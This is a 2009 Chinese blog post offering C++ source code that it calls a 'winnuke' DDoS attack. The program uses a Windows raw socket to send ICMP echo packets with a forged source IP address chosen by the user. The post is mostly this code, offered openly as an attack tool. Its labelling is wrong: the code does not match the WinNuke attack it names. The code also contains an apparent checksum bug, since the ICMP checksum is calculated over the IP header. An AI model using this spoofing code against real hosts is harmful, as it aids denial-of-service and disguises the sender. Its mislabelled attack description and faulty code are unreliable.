winnuke攻擊是ddos攻擊的一種,詳見http://www.shnenglu.com/aurain/archive/2009/02/16/73935.html
本文是通過raw socket來構造這種icmp包來實施攻擊,詳見代碼(需要在Windows 2000,2003才能運行,xp sp2禁止發送raw包)
///////////////////////////////////////////
// ping.cpp文件
#include <winsock2.h>
#pragma comment(lib, "WS2_32") // 鏈接到WS2_32.lib
#include <stdio.h>
#include <ws2tcpip.h> // 定義了IP_HDRINCL
// 協議
#define PROTO_ICMP 1
typedef struct _IPHeader // 20字節的IP頭
{
UCHAR iphVerLen; // 版本號和頭長度(各占4位)
UCHAR ipTOS; // 服務類型
USHORT ipLength; // 封包總長度,即整個IP報的長度
USHORT ipID; // 封包標識,惟一標識發送的每一個數據報
USHORT ipFlags; // 標志
UCHAR ipTTL; // 生存時間,就是TTL
UCHAR ipProtocol; // 協議,可能是TCP、UDP、ICMP等
USHORT ipChecksum; // 校驗和
ULONG ipSource; // 源IP地址
ULONG ipDestination; // 目標IP地址
} IPHeader, *PIPHeader;
typedef struct icmp_hdr
{
unsigned char icmp_type; // 消息類型
unsigned char icmp_code; // 代碼
unsigned short icmp_checksum; // 校驗和
// 下面是回顯頭
unsigned short icmp_id; // 用來惟一標識此請求的ID號,通常設置為進程ID
unsigned short icmp_sequence; // 序列號
unsigned long icmp_timestamp; // 時間戳
} ICMP_HDR, *PICMP_HDR;
// 校驗和的計算
// 以16位的字為單位將緩沖區的內容相加,如果緩沖區長度為奇數,
// 則再加上一個字節。它們的和存入一個32位的雙字中
USHORT checksum(USHORT* buff, int size)
{
unsigned long cksum = 0;
while(size>1)
{
cksum += *buff++;
size -= sizeof(USHORT);
}
// 是奇數
if(size)
{
cksum += *(UCHAR*)buff;
}
// 將32位的chsum高16位和低16位相加,然后取反
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16); // ???
return (USHORT)(~cksum);
}
int main(int argc, char** argv)
{
char szDestIp[20] = {0}; // <<== 填寫目的IP地址,即要Ping的IP地址
char szSourceIp[20] = {0}; // <<== 填寫您自己的IP地址
//printf("dest ip:");
//scanf("%s", szDestIp);
//printf("\nsource ip:");
//scanf("%s", szSourceIp);
if (argc < 3)
{
printf("ping dstip srcip\n");
exit(1);
}
strcpy(szDestIp, argv[1]);
strcpy(szSourceIp, argv[2]);
printf("dest ip: %s\n", szDestIp);
printf("source ip: %s\n", szSourceIp);
// 初始化WS2_32.dll
WSADATA wsaData;
WORD sockVersion = MAKEWORD(2, 2);
if(::WSAStartup(sockVersion, &wsaData) != 0)
{
exit(0);
}
// 創建原始套節字
SOCKET sRaw = ::socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
// 有效IP頭包含選項
BOOL bIncl = TRUE;
::setsockopt(sRaw, IPPROTO_IP, IP_HDRINCL, (char *)&bIncl, sizeof(bIncl));
// 設置目的地址
SOCKADDR_IN dest;
dest.sin_family = AF_INET;
dest.sin_port = htons(0);
dest.sin_addr.S_un.S_addr = inet_addr(szDestIp);
char buff[sizeof(IPHeader) + sizeof(ICMP_HDR) + 32] = {0};
// IP頭
IPHeader *pIphdr = (IPHeader *)buff;
pIphdr->iphVerLen = (4<<4 | (sizeof(IPHeader)/sizeof(ULONG)));
pIphdr->ipLength = ::htons(sizeof(IPHeader) + sizeof(ICMP_HDR) + 32);
pIphdr->ipTTL = 128;
pIphdr->ipProtocol = IPPROTO_ICMP;
pIphdr->ipSource = ::inet_addr(szSourceIp);
pIphdr->ipDestination = ::inet_addr(szDestIp);
pIphdr->ipChecksum = checksum((USHORT*)pIphdr, sizeof(IPHeader));
// 創建ICMP封包
ICMP_HDR* pIcmp = (ICMP_HDR*)&buff[sizeof(IPHeader)];
// 填寫ICMP封包數據
pIcmp->icmp_type = 8; // 請求一個ICMP回顯
pIcmp->icmp_code = 0;
pIcmp->icmp_id = (USHORT)::GetCurrentProcessId();
pIcmp->icmp_checksum = 0;
pIcmp->icmp_sequence = 0;
// 填充數據部分,可以為任意
memset(&buff[sizeof(IPHeader) + sizeof(ICMP_HDR)], 'E', 32);
// 開始發送和接收ICMP封包
USHORT nSeq = 0;
SOCKADDR_IN from;
int nLen = sizeof(from);
while(TRUE)
{
static int nCount = 0;
int nRet;
if(nCount++ == 4)
break;
pIcmp->icmp_checksum = 0;
pIcmp->icmp_timestamp = ::GetTickCount();
pIcmp->icmp_sequence = nSeq++;
pIcmp->icmp_checksum = checksum((USHORT*)buff, sizeof(ICMP_HDR) + 32);
nRet = ::sendto(sRaw, buff, sizeof(IPHeader) + sizeof(ICMP_HDR) + 32, 0, (SOCKADDR *)&dest, sizeof(dest));
if(nRet == SOCKET_ERROR)
{
printf(" sendto() failed: %d \n", ::WSAGetLastError());
return -1;
}
::Sleep(1000);
}
::WSACleanup();
return 0;
}
posted on 2009-04-01 13:50
水 閱讀(2636)
評論(2) 編輯 收藏 引用 所屬分類:
網絡安全